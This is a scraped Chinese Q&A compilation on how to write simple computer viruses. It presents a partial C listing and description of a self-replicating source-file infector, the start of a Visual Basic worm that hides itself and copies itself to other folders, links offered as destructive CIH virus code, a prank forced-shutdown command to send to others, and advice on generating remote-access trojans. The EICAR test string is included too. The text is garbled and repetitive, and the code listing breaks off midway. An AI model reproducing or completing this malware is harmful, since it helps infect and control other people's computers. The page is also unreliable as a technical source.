如何编程简单的病毒(简单的病毒编程代码bat)

      最后更新:2023-10-08 17:05

      如何编写电脑病毒

      那可绝对不是一件轻松容易的隐迹携事情!!首先至少必须要精通如下计算机技术:计算机操作系统的底层灶伏、以及系统内核的分析与编程技术、汇编语言编程、C 语言编程技术。以及计州山算机的相关硬件编程。
      如何编写电脑病毒

      请问大虾们如何用记事本制作出一个简单的病毒?

      欧洲计算机防病毒协会提供的测试病毒代码。本代码尽管测试,无任何危险。 ---------------------请复制下面的代码到文本中保存-------------------X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*---------------------请复制上面的代码到文本中保存-------------------测试方法:1.鼠标右键点击桌面空白处,创建一个“文本文档”。2.将上面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除那就可以初步放心了。测试原理:该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。测试等级:特等:复制完代码后便提示内存有病毒优等:刚保存完就提示病毒(或者直接删除)中等:保存后几秒提示病毒(或者直接删除)下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)劣等:无论怎么扫描都无法提示病毒(或者直接删除)还有些要放在后缀名为EXE的文件里,双击运行就好了,后缀名为EXE的文件必须由专门的编程软件创建的!明白!!!再给你个病毒代码CIH的!!!破坏力很强的!http://app.wx88.net/virus_new/bdgg/old/new_page_5.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_6.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_7.asp再给你其他病毒的代码!http://app.wx88.net/virus_new/bdgg/old/new_page_11.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_9.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_10.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_15.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_13.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_12.asphttp://app.wx88.net/virus_new/bdgg/old/bdydm16.htm
      请问大虾们如何用记事本制作出一个简单的病毒?

      怎样编写病毒

      3.1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。3.1.2病毒清除程序REVIURS.C病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。(3)关闭文件,然后删除该文件。(4)创建一个跟删除文件相同名字的文件。然后打开。(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。3.2 程序流程图3.2.1 病毒程序VIRUS.C流程图NNY Y有无YN3.2.2 解毒程序REVIRUS.C流程图NY无有YNYN3.3其中用到的函数和结构体的说明:(1)结构体struct ffblk (在dir.h中)类型变量变量ffblk用于打开文件,获取返回值。Struct ffblk{char ff_reserved[21];char ff_attrib;unsigned ff_ftime;unsigned ff_fdate;long ff_fize;char ff_name[13];};程序中只用到ff_name来保存匹配文件名。(2)结构体struct date(在dos.h中)变量struct date{int da_year;/* Year-1980 */char da_day; /* Day of the month */char da_mon;/* Month (1=Jan) */};程序中用来获取系统当前日期。具体用法为:void getdate (struct date *datep);(3)查找匹配文件findfirst()函数和findnext()函数调用方式:整型数=findfirst(文件名,&结构变量名,属性常数组合(如0×24));功能:检索由path和attr指定的文件,把结果返回到afer。Findfirst返回关于第一个指定文件的信息。Findnext继续检索。返回值:0(检索成功),-1(没有找到指定的文件)属性常数:FA_NORMAL(0*00) 含意:Normal file, no attributesFA_RDONLY (0*01) 含意:只读FA_HIDDEN(0*02)含意:隐含文件FA_SYSTEM(0*24)含意:系统文件需要用到的头文件: dir.h程序中的匹配文件属于普通文件,所以属性常数为0。(4)读文件函数原形:char *fgets (char *a, int n, FILE *fp);功能:从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ ’,存入始地址为a的空间。若在读完n-1个字符之前遇到换行符或EOF,读入即结束。返回值:返回地址a。若遇文件结束或出错,返回NULL。(5)在字符串中查找指定字符串的第一次出现函数原形;char *strstr(char *str1,char *str2);功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。返回值:返回该位置的指针。若找不到,返回NULL指针。程序中用这个函数来判断字符串是否一致。(6)改变文件位置指针函数原形:int fseek (FILE *fp, long offset, int base);功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。3.4 程序清单3.4.1病毒程序VIRUS.C程序清单如下:/*INFECTED*/#include "stdio.h"#include "dos.h"#include "dir.h"main(){viruses();}int viruses_sub(){struct ffblk ffblk;int done,i,j,k,n_line;FILE *virus_r,*virus_v;/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/int include_write;int virus_call=0;int virus_start=0;char *main_flag[]=;char *include_h[]=;char *v_flag[]=;struct date today;/*VIRUSES DISPLAY*/getdate(&today); /*病毒显示日期信息*/printf("Today is %d/%d/%dn",today.da_mon,today.da_day,today.da_year);/*AFFECT VIRUSES*/done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/while(!done){if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0){virus_r=fopen(ffblk.ff_name,"r+w");if(virus_r!=NULL){p1=fgets(&a[0][0],80,virus_r);if(strstr(p1,v_flag[0])==NULL){n_line=0; /*把文件全部读入a[500][80]*/while(p1!=NULL){n_line++;p1=fgets(&a[n_line][0],80,virus_r);if(n_line>=500){fclose(virus_r);return(1);}}fseek(virus_r,0,SEEK_SET);virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/if(virus_v==NULL){fclose(virus_r);return(2);}for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/{p2=fgets(b,80,virus_v);if(p2==NULL){fclose(virus_r);fclose(virus_v);return(3);}fputs(b,virus_r);}for(j=0;j1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h,stido.h,dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。 这点是这样实现的:定义一个字符数组charinclude_h[]=;strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......
      怎样编写病毒

      简单的病毒编程代码

      蠕虫病毒小代码打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。
      简单的病毒编程代码

      如何制造木马病毒

      如何制造木马病毒 问题一:怎么制作木马病毒,望详细你的基本功很差,如果你真的想学,我给你教一种,你制作一个桌面快捷关机,然后用QICQ给对方发去,只要对方打开,对方页面会出现一个对话框,对话框里写着60秒自动关机,对方无论如何都关不了那个对话框,他的机子就要关机了,你可以附加文字,比如说“叫爷,不叫60秒关机。”对方以为是病都,呵呵!这个简单吧!你应该会作吧!shutdown.exe-S-T60-C叫爷,不叫关机。有啥不懂的追问我,现把你那5分给我,再追问我。问题二:我想做个简单的木马病毒,怎么做,用什么软件你好!这就需要用到一款远程控制软件,例如灰鸽子等等有了这款远控软件需要有一个自己的动态域名然后用动态域名在远程控制软件上生成一个木马病毒这样你就可以发给别人,别人中罚木马病毒之后他的电脑完全就会被控制你就可以对他的电脑重启、关机等操作了不过我劝你最好还是打消这个念头即便是你拥有了远程控制软件成功生成了木马病毒给别人发过去也是无法起到任何作用的原因就是木马病毒不是免杀的现在的杀毒软件不是吃素的如果不是免杀的病毒给别人发过去杀毒软件立马就查杀了没什么作用最重要的就是你做的病毒免杀对方的杀毒软件查杀不出来是病毒这样就可以了但是不要抱幻想网上绝对不会出现免杀远控的有的打着名字的旗号捆绑后门病毒试想一下别人辛辛苦苦制作出来的免杀远控会轻易的给别人或者发布到网上么?况且免杀病毒最好不要发到网上否则能免杀一个星期左右的病毒发到网上估计第二天就被杀了本人纯手打觉得有帮助请采纳谢谢!!问题三:木马病毒是怎么制造出来的呢?木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!问题四:怎么制作木马病毒5分这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术系统底层问题:截取屏幕、Hook鼠标键盘网络问题:涉及到拦截数据报文,加解密数据反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序VC++最多6个月,也能搞出些东西但要搞病毒木马等,先学3年再考虑。问题五:怎样制造一个木马病毒5分其实木马病毒也是我们程序员写出的一个程序,因为这个程序制作的目的,和工作的原理具有破坏性和感染性,所以就被定性为木马和病毒。另外木马和病毒不是一个概念。学习软件编程就可以制作木马。淡然有一些黑客软件也是可以直接生成木马的,这个比较没有技术含量。一般会操作电脑的人都可以制作,这类木马一般很容易被查杀。要做加壳程序以逃避查杀。问题六:怎么制造简单木马病毒朋友,你好!怎么解答你这个问题我想了半天,一条一条来吧。1、制作木马病毒是非法的,真心的奉劝不要参与制作,不要与法律要求所背驰。如果因为这个事情,你被抓进去,你想想你的家庭会怎样?是不是得不偿失?2、广大网民一定要有一个好的上网习惯,还要有一个好的上网环境,在安全软件的使用上多思考。建议大家使用腾讯电脑管家,他有全国最大最全的钓鱼网站、木马网站数据库,可以有效防止大家被骗。问题七:木马病毒怎么制作你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)问题八:木马病毒怎么制作佛日不能说不可说不敢说,说就是错。 问题九:怎么制作木马病毒先下几个木马病毒
      如何制造木马病毒

      本文由 在线网速测试 整理编辑,转载请注明出处。

          热门文章

          文章分类